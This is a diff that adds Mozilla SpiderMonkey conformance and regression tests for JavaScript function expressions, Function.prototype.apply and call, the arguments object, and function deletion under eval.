+++ b/js/src/tests/ecma_3/FunExpr/browser.js
diff --git a/js/src/tests/ecma_3/FunExpr/fe-001-n.js b/js/src/tests/ecma_3/FunExpr/fe-001-n.js
new file mode 100644
index 000000000..2af7bfa25
--- /dev/null
+++ b/js/src/tests/ecma_3/FunExpr/fe-001-n.js
@@ -0,0 +1,22 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*-
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+DESCRIPTION = "Previous statement should have thrown a ReferenceError";
+EXPECTED = "error";
+
+test();
+
+function test()
+{
+ enterFunc ("test");
+ printStatus ("Function Expression test.");
+
+ var x = function f(){return "inner";}();
+ var y = f();
+ reportCompare('PASS', 'FAIL', "Previous statement should have thrown a ReferenceError");
+
+ exitFunc ("test");
+}
diff --git a/js/src/tests/ecma_3/FunExpr/fe-001.js b/js/src/tests/ecma_3/FunExpr/fe-001.js
new file mode 100644
index 000000000..65c9b7375
--- /dev/null
+++ b/js/src/tests/ecma_3/FunExpr/fe-001.js
@@ -0,0 +1,21 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*-
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+if (1) function f() {return 1;}
+if (0) function f() {return 0;}
+
+function test()
+{
+ enterFunc ("test");
+
+ printStatus ("Function Expression Statements basic test.");
+
+ reportCompare (1, f(), "Both functions were defined.");
+
+ exitFunc ("test");
+}
+
+test();
diff --git a/js/src/tests/ecma_3/FunExpr/fe-002.js b/js/src/tests/ecma_3/FunExpr/fe-002.js
new file mode 100644
index 000000000..bb0f1a714
--- /dev/null
+++ b/js/src/tests/ecma_3/FunExpr/fe-002.js
@@ -0,0 +1,25 @@
+/* -*- tab-width: 8; indent-tabs-mode: nil; js-indent-level: 4 -*-
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+function f()
+{
+ return "outer";
+}
+
+function test()
+{
+ enterFunc ("test");
+ printStatus ("Function Expression test.");
+
+ var x = function f(){return "inner";}();
+
+ reportCompare ("outer", f(),
+ "Inner function statement should not have been called.");
+
+ exitFunc ("test");
+}
+
+test();
diff --git a/js/src/tests/ecma_3/FunExpr/regress-518103.js b/js/src/tests/ecma_3/FunExpr/regress-518103.js
new file mode 100644
index 000000000..70bab0d57
--- /dev/null
+++ b/js/src/tests/ecma_3/FunExpr/regress-518103.js
@@ -0,0 +1,27 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var BUGNUMBER = 518103;
+var summary = 'lambda constructor "method" vs. instanceof';
+var actual;
+var expect;
+
+printBugNumber(BUGNUMBER);
+printStatus(summary);
+
+var Y = {widget: {}};
+
+Y.widget.DataSource = function () {};
+Y.widget.DS_JSArray = function (A) { this.data = A; };
+Y.widget.DS_JSArray.prototype = new Y.widget.DataSource();
+
+var J = new Y.widget.DS_JSArray( [ ] );
+
+actual = J instanceof Y.widget.DataSource;
+expect = true;
+
+reportCompare(expect, actual, summary);
+
+printStatus("All tests passed!");
diff --git a/js/src/tests/ecma_3/FunExpr/regress-524826.js b/js/src/tests/ecma_3/FunExpr/regress-524826.js
new file mode 100644
index 000000000..da1dfbba0
--- /dev/null
+++ b/js/src/tests/ecma_3/FunExpr/regress-524826.js
@@ -0,0 +1,28 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var BUGNUMBER = 524826;
+var summary = 'null-closure property initialiser mis-brands object literal scope';
+var actual;
+var expect;
+
+printBugNumber(BUGNUMBER);
+printStatus(summary);
+
+function make(g) {
+ var o = {f: function(a,b) { return a*b; }, g: g};
+ return o;
+}
+var z = -1;
+var x = make(function(c) { return c*z; });
+var y = make(function(c) { return -c*z; });
+
+function callg(o, c) { return o.g(c); };
+actual = callg(x, 1);
+expect = -callg(y, 1);
+
+reportCompare(expect, actual, summary);
+
+printStatus("All tests passed!");
diff --git a/js/src/tests/ecma_3/FunExpr/regress-528082.js b/js/src/tests/ecma_3/FunExpr/regress-528082.js
new file mode 100644
index 000000000..1ca7b77cb
--- /dev/null
+++ b/js/src/tests/ecma_3/FunExpr/regress-528082.js
@@ -0,0 +1,20 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var BUGNUMBER = 528082;
+var summary = 'named function expression function-name-as-upvar slot botch';
+
+printBugNumber(BUGNUMBER);
+printStatus(summary);
+
+function f() {
+ return function g(a) { return function () { return g; }(); }();
+}
+var actual = typeof f();
+var expect = "function";
+
+reportCompare(expect, actual, summary);
+
+printStatus("All tests passed!");
diff --git a/js/src/tests/ecma_3/FunExpr/regress-533254.js b/js/src/tests/ecma_3/FunExpr/regress-533254.js
new file mode 100644
index 000000000..b0e319818
--- /dev/null
+++ b/js/src/tests/ecma_3/FunExpr/regress-533254.js
@@ -0,0 +1,28 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var BUGNUMBER = 533254;
+var summary = 'init-method late in table-big initialiser screwup';
+
+printBugNumber(BUGNUMBER);
+printStatus(summary);
+
+function f() {
+ var proto = {p8:8};
+ var obj = {
+ p0:0, p1:1, p2:2, p3:3, p4:4, p5:5, p6:6, p7:7, p8:8, p9:9,
+ p10:0, p11:1, p12:2, p13:3, p14:4, p15:5, p16:6, p17:7, p18:8, p19:9,
+ m: function() { return 42; }
+ };
+ return obj;
+}
+var expect = f(),
+ actual = f();
+
+expect += '';
+actual += '';
+reportCompare(expect, actual, summary);
+
+printStatus("All tests passed!");
diff --git a/js/src/tests/ecma_3/FunExpr/regress-545980.js b/js/src/tests/ecma_3/FunExpr/regress-545980.js
new file mode 100644
index 000000000..1ecf1c9b6
--- /dev/null
+++ b/js/src/tests/ecma_3/FunExpr/regress-545980.js
@@ -0,0 +1,41 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var BUGNUMBER = 518103;
+var summary = 'partial flat closures must not reach across funargs';
+var actual = "no crash";
+var expect = actual;
+
+function Timer(){}
+Timer.prototype = { initWithCallback: function (o) {Timer.q.push(o)} };
+Timer.q = [];
+
+var later;
+var ac = {startSearch: function(q,s,n,o){later=o}};
+
+var bm = {insertBookmark: function(){}, getIdForItemAt: function(){}};
+
+function run_test() {
+ var tagIds = [];
+
+ (function doSearch(query) {
+ ac.startSearch(query, "", null, {
+ onSearchResult: function() {
+ var num = tagIds.length;
+
+ var timer = new Timer;
+ var next = query.slice(1);
+ timer.initWithCallback({ notify: function() doSearch(next) });
+ }
+ });
+ })("title");
+}
+
+run_test();
+later.onSearchResult();
+for (var i in Timer.q)
+ Timer.q[i].notify();
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/ecma_3/FunExpr/shell.js b/js/src/tests/ecma_3/FunExpr/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_3/FunExpr/shell.js
diff --git a/js/src/tests/ecma_3/Function/15.3.4.3-1.js b/js/src/tests/ecma_3/Function/15.3.4.3-1.js
new file mode 100644
index 000000000..5fd49ea3e
--- /dev/null
+++ b/js/src/tests/ecma_3/Function/15.3.4.3-1.js
@@ -0,0 +1,176 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 21 May 2002
+ * SUMMARY: ECMA conformance of Function.prototype.apply
+ *
+ * Function.prototype.apply(thisArg, argArray)
+ *
+ * See ECMA-262 Edition 3 Final, Section 15.3.4.3
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 145791;
+var summary = 'Testing ECMA conformance of Function.prototype.apply';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+function F0(a)
+{
+ return "" + this + arguments.length;
+}
+
+function F1(a)
+{
+ return "" + this + a;
+}
+
+function F2()
+{
+ return "" + this;
+}
+
+
+
+/*
+ * Function.prototype.apply.length should return 2
+ */
+status = inSection(1);
+actual = Function.prototype.apply.length;
+expect = 2;
+addThis();
+
+
+/*
+ * When |thisArg| is not provided to the apply() method, the
+ * called function must be passed the global object as |this|
+ */
+status = inSection(2);
+actual = F0.apply();
+expect = "" + this + 0;
+addThis();
+
+
+/*
+ * If |argArray| is not provided to the apply() method, the
+ * called function should be invoked with an empty argument list
+ */
+status = inSection(3);
+actual = F0.apply("");
+expect = "" + "" + 0;
+addThis();
+
+status = inSection(4);
+actual = F0.apply(true);
+expect = "" + true + 0;
+addThis();
+
+
+/*
+ * Function.prototype.apply(x) and
+ * Function.prototype.apply(x, undefined) should return the same result
+ */
+status = inSection(5);
+actual = F1.apply(0, undefined);
+expect = F1.apply(0);
+addThis();
+
+status = inSection(6);
+actual = F1.apply("", undefined);
+expect = F1.apply("");
+addThis();
+
+status = inSection(7);
+actual = F1.apply(null, undefined);
+expect = F1.apply(null);
+addThis();
+
+status = inSection(8);
+actual = F1.apply(undefined, undefined);
+expect = F1.apply(undefined);
+addThis();
+
+
+/*
+ * Function.prototype.apply(x) and
+ * Function.prototype.apply(x, null) should return the same result
+ */
+status = inSection(9);
+actual = F1.apply(0, null);
+expect = F1.apply(0);
+addThis();
+
+status = inSection(10);
+actual = F1.apply("", null);
+expect = F1.apply("");
+addThis();
+
+status = inSection(11);
+actual = F1.apply(null, null);
+expect = F1.apply(null);
+addThis();
+
+status = inSection(12);
+actual = F1.apply(undefined, null);
+expect = F1.apply(undefined);
+addThis();
+
+
+/*
+ * Function.prototype.apply() and
+ * Function.prototype.apply(undefined) should return the same result
+ */
+status = inSection(13);
+actual = F2.apply(undefined);
+expect = F2.apply();
+addThis();
+
+
+/*
+ * Function.prototype.apply() and
+ * Function.prototype.apply(null) should return the same result
+ */
+status = inSection(14);
+actual = F2.apply(null);
+expect = F2.apply();
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ enterFunc('test');
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/Function/15.3.4.4-1.js b/js/src/tests/ecma_3/Function/15.3.4.4-1.js
new file mode 100644
index 000000000..fed244a95
--- /dev/null
+++ b/js/src/tests/ecma_3/Function/15.3.4.4-1.js
@@ -0,0 +1,162 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 21 May 2002
+ * SUMMARY: ECMA conformance of Function.prototype.call
+ *
+ * Function.prototype.call(thisArg [,arg1 [,arg2, ...]])
+ *
+ * See ECMA-262 Edition 3 Final, Section 15.3.4.4
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 145791;
+var summary = 'Testing ECMA conformance of Function.prototype.call';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+function F0(a)
+{
+ return "" + this + arguments.length;
+}
+
+function F1(a)
+{
+ return "" + this + a;
+}
+
+function F2()
+{
+ return "" + this;
+}
+
+
+
+/*
+ * Function.prototype.call.length should return 1
+ */
+status = inSection(1);
+actual = Function.prototype.call.length;
+expect = 1;
+addThis();
+
+
+/*
+ * When |thisArg| is not provided to the call() method, the
+ * called function must be passed the global object as |this|
+ */
+status = inSection(2);
+actual = F0.call();
+expect = "" + this + 0;
+addThis();
+
+
+/*
+ * If [,arg1 [,arg2, ...]] are not provided to the call() method,
+ * the called function should be invoked with an empty argument list
+ */
+status = inSection(3);
+actual = F0.call("");
+expect = "" + "" + 0;
+addThis();
+
+status = inSection(4);
+actual = F0.call(true);
+expect = "" + true + 0;
+addThis();
+
+
+/*
+ * Function.prototype.call(x) and
+ * Function.prototype.call(x, undefined) should return the same result
+ */
+status = inSection(5);
+actual = F1.call(0, undefined);
+expect = F1.call(0);
+addThis();
+
+status = inSection(6);
+actual = F1.call("", undefined);
+expect = F1.call("");
+addThis();
+
+status = inSection(7);
+actual = F1.call(null, undefined);
+expect = F1.call(null);
+addThis();
+
+status = inSection(8);
+actual = F1.call(undefined, undefined);
+expect = F1.call(undefined);
+addThis();
+
+
+/*
+ * Function.prototype.call() and
+ * Function.prototype.call(undefined) should return the same result
+ */
+status = inSection(9);
+actual = F2.call(undefined);
+expect = F2.call();
+addThis();
+
+
+/*
+ * Function.prototype.call() and
+ * Function.prototype.call(null) should return the same result
+ */
+status = inSection(10);
+actual = F2.call(null);
+expect = F2.call();
+addThis();
+
+if (typeof newGlobal === "function")
+{
+ /*
+ * Function.prototype.call gets lexical globals, not caller globals
+ */
+ status = inSection(11);
+ actual = g2 = newGlobal();
+ g2.eval("boundMethod = Function('return this');");
+ expect = g2.boundMethod.call();
+ addThis();
+}
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ enterFunc('test');
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/Function/arguments-001.js b/js/src/tests/ecma_3/Function/arguments-001.js
new file mode 100644
index 000000000..7804aa85c
--- /dev/null
+++ b/js/src/tests/ecma_3/Function/arguments-001.js
@@ -0,0 +1,135 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 07 May 2001
+ *
+ * SUMMARY: Testing the arguments object
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=72884
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 72884;
+var summary = 'Testing the arguments object';
+var status = '';
+var statusitems = [ ];
+var actual = '';
+var actualvalues = [ ];
+var expect= '';
+var expectedvalues = [ ];
+var a = '';
+
+
+status = inSection(1);
+function f()
+{
+ delete arguments.length;
+ return arguments;
+}
+
+a = f();
+actual = a instanceof Object;
+expect = true;
+addThis();
+
+actual = a instanceof Array;
+expect = false;
+addThis();
+
+actual = a.length;
+expect = undefined;
+addThis();
+
+
+
+status = inSection(2);
+a = f(1,2,3);
+actual = a instanceof Object;
+expect = true;
+addThis();
+
+actual = a instanceof Array;
+expect = false;
+addThis();
+
+actual = a.length;
+expect = undefined;
+addThis();
+
+actual = a[0];
+expect = 1;
+addThis();
+
+actual = a[1];
+expect = 2;
+addThis();
+
+actual = a[2];
+expect = 3;
+addThis();
+
+
+
+status = inSection(3);
+/*
+ * Brendan:
+ *
+ * Note that only callee and length can be overridden, so deleting an indexed
+ * property and asking for it again causes it to be recreated by args_resolve:
+ *
+ * function g(){delete arguments[0]; return arguments[0]}
+ * g(42) // should this print 42?
+ *
+ * I'm not positive this violates ECMA, which allows in chapter 16 for extensions
+ * including properties (does it allow for magically reappearing properties?). The
+ * delete operator successfully deletes arguments[0] and results in true, but that
+ * is not distinguishable from the case where arguments[0] was delegated to
+ * Arguments.prototype[0], which was how the bad old code worked.
+ *
+ * I'll ponder this last detail...
+ *
+ * UPDATE: Per ECMA-262, delete on an arguments[i] should succeed
+ * and remove that property from the arguments object, leaving any get
+ * of it after the delete to evaluate to undefined.
+ */
+function g()
+{
+ delete arguments[0];
+ return arguments[0];
+}
+actual = g(42);
+expect = undefined; // not 42...
+addThis();
+
+
+
+//-------------------------------------------------------------------------------------------------
+test();
+//-------------------------------------------------------------------------------------------------
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i = 0; i < UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/Function/arguments-002.js b/js/src/tests/ecma_3/Function/arguments-002.js
new file mode 100644
index 000000000..7e5927492
--- /dev/null
+++ b/js/src/tests/ecma_3/Function/arguments-002.js
@@ -0,0 +1,40 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 383269;
+var summary = 'Allow override of arguments';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var expect1 = '33,42';
+ var expect2 = 33;
+ var actual1 = '';
+ var actual2 = '';
+
+ function f(){
+ var a=arguments; actual1 = a[0]; arguments=42; actual1 += ',' + arguments; return a;
+ }
+
+ actual2 = f(33)[0];
+
+ expect = expect1 + ':' + expect2;
+ actual = actual1 + ':' + actual2;
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/Function/browser.js b/js/src/tests/ecma_3/Function/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_3/Function/browser.js
diff --git a/js/src/tests/ecma_3/Function/call-001.js b/js/src/tests/ecma_3/Function/call-001.js
new file mode 100644
index 000000000..319a75e3a
--- /dev/null
+++ b/js/src/tests/ecma_3/Function/call-001.js
@@ -0,0 +1,119 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 2001-07-13
+ *
+ * SUMMARY: Applying Function.prototype.call to the Function object itself
+ *
+ *
+ * ECMA-262 15.3.4.4 Function.prototype.call (thisArg [,arg1 [,arg2,…] ] )
+ *
+ * When applied to the Function object itself, thisArg should be ignored.
+ * As explained by Waldemar (waldemar@netscape.com):
+ *
+ * Function.call(obj, "print(this)") is equivalent to invoking
+ * Function("print(this)") with this set to obj. Now, Function("print(this)")
+ * is equivalent to new Function("print(this)") (see 15.3.1.1), and the latter
+ * ignores the this value that you passed it and constructs a function
+ * (which we'll call F) which will print the value of the this that will be
+ * passed in when F will be invoked.
+ *
+ * With the last set of () you're invoking F(), which means you're calling it
+ * with no this value. When you don't provide a this value, it defaults to the
+ * global object.
+ *
+ */
+
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = '(none)';
+var summary = 'Applying Function.prototype.call to the Function object itself';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+var self = this; // capture a reference to the global object
+var cnOBJECT_GLOBAL = self.toString();
+var cnOBJECT_OBJECT = (new Object).toString();
+var cnHello = 'Hello';
+var cnRed = 'red';
+var objTEST = {color:cnRed};
+var f = new Function();
+var g = new Function();
+
+
+f = Function.call(self, 'return cnHello');
+g = Function.call(objTEST, 'return cnHello');
+
+status = 'Section A of test';
+actual = f();
+expect = cnHello;
+captureThis();
+
+status = 'Section B of test';
+actual = g();
+expect = cnHello;
+captureThis();
+
+
+f = Function.call(self, 'return this.toString()');
+g = Function.call(objTEST, 'return this.toString()');
+
+status = 'Section C of test';
+actual = f();
+expect = cnOBJECT_GLOBAL;
+captureThis();
+
+status = 'Section D of test';
+actual = g();
+expect = cnOBJECT_GLOBAL;
+captureThis();
+
+
+f = Function.call(self, 'return this.color');
+g = Function.call(objTEST, 'return this.color');
+
+status = 'Section E of test';
+actual = f();
+expect = undefined;
+captureThis();
+
+status = 'Section F of test';
+actual = g();
+expect = undefined;
+captureThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+function captureThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i = 0; i < UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/Function/regress-131964.js b/js/src/tests/ecma_3/Function/regress-131964.js
new file mode 100644
index 000000000..b1364df8a
--- /dev/null
+++ b/js/src/tests/ecma_3/Function/regress-131964.js
@@ -0,0 +1,162 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 19 Mar 2002
+ * SUMMARY: Function declarations in global or function scope are {DontDelete}.
+ * Function declarations in eval scope are not {DontDelete}.
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=131964
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 131964;
+var summary = 'Functions defined in global or function scope are {DontDelete}';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+status = inSection(1);
+function f()
+{
+ return 'f lives!';
+}
+delete f;
+
+try
+{
+ actual = f();
+}
+catch(e)
+{
+ actual = 'f was deleted';
+}
+
+expect = 'f lives!';
+addThis();
+
+
+
+/*
+ * Try the same test in function scope -
+ */
+status = inSection(2);
+function g()
+{
+ function f()
+ {
+ return 'f lives!';
+ }
+ delete f;
+
+ try
+ {
+ actual = f();
+ }
+ catch(e)
+ {
+ actual = 'f was deleted';
+ }
+
+ expect = 'f lives!';
+ addThis();
+}
+g();
+
+
+
+/*
+ * Try the same test in eval scope - here we EXPECT the function to be deleted (?)
+ */
+status = inSection(3);
+var s = '';
+s += 'function h()';
+s += '{ ';
+s += ' return "h lives!";';
+s += '}';
+s += 'delete h;';
+
+s += 'try';
+s += '{';
+s += ' actual = h();';
+s += '}';
+s += 'catch(e)';
+s += '{';
+s += ' actual = "h was deleted";';
+s += '}';
+
+s += 'expect = "h was deleted";';
+s += 'addThis();';
+eval(s);
+
+
+/*
+ * Define the function in eval scope, but delete it in global scope -
+ */
+status = inSection(4);
+s = '';
+s += 'function k()';
+s += '{ ';
+s += ' return "k lives!";';
+s += '}';
+eval(s);
+
+delete k;
+
+try
+{
+ actual = k();
+}
+catch(e)
+{
+ actual = 'k was deleted';
+}
+
+expect = 'k was deleted';
+addThis();
+
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function wasDeleted(functionName)
+{
+ return functionName + ' was deleted...';
+}
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ enterFunc('test');
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/Function/regress-137181.js b/js/src/tests/ecma_3/Function/regress-137181.js
new file mode 100644
index 000000000..ecd2883bd
--- /dev/null
+++ b/js/src/tests/ecma_3/Function/regress-137181.js
@@ -0,0 +1,79 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 12 Apr 2002
+ * SUMMARY: delete arguments[i] should break connection to local reference
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=137181
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 137181;
+var summary = 'delete arguments[i] should break connection to local reference';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+status = inSection(1);
+function f1(x)
+{
+ x = 1;
+ delete arguments[0];
+ return x;
+}
+actual = f1(0); // (bug: Rhino was returning |undefined|)
+expect = 1;
+addThis();
+
+
+status = inSection(2);
+function f2(x)
+{
+ x = 1;
+ delete arguments[0];
+ arguments[0] = -1;
+ return x;
+}
+actual = f2(0); // (bug: Rhino was returning -1)
+expect = 1;
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ enterFunc('test');
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/Function/regress-193555.js b/js/src/tests/ecma_3/Function/regress-193555.js
new file mode 100644
index 000000000..00077a9e5
--- /dev/null
+++ b/js/src/tests/ecma_3/Function/regress-193555.js
@@ -0,0 +1,102 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 17 February 2003
+ * SUMMARY: Testing access to function name from inside function
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=193555
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 193555;
+var summary = 'Testing access to function name from inside function';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+// test via function statement
+status = inSection(1);
+function f() {return f.toString();};
+actual = f();
+expect = f.toString();
+addThis();
+
+// test via function expression
+status = inSection(2);
+var x = function g() {return g.toString();};
+actual = x();
+expect = x.toString();
+addThis();
+
+// test via eval() outside function
+status = inSection(3);
+eval ('function a() {return a.toString();}');
+actual = a();
+expect = a.toString();
+addThis();
+
+status = inSection(4);
+eval ('var y = function b() {return b.toString();}');
+actual = y();
+expect = y.toString();
+addThis();
+
+// test via eval() inside function
+status = inSection(5);
+function c() {return eval('c').toString();};
+actual = c();
+expect = c.toString();
+addThis();
+
+status = inSection(6);
+var z = function d() {return eval('d').toString();};
+actual = z();
+expect = z.toString();
+addThis();
+
+// test via two evals!
+status = inSection(7);
+eval('var w = function e() {return eval("e").toString();}');
+actual = w();
+expect = w.toString();
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ enterFunc('test');
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/Function/regress-313570.js b/js/src/tests/ecma_3/Function/regress-313570.js
new file mode 100644
index 000000000..eb3039650
--- /dev/null
+++ b/js/src/tests/ecma_3/Function/regress-313570.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 313570;
+var summary = 'length of objects whose prototype chain includes a function';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+function tmp() {}
+tmp.prototype = function(a, b, c) {};
+var obj = new tmp();
+
+// arity
+expect = 3;
+actual = obj.length;
+reportCompare(expect, actual, summary + ': arity');
+
+// immutable
+obj.length = 10;
+
+expect = 3;
+actual = obj.length;
+reportCompare(expect, actual, summary + ': immutable');
+
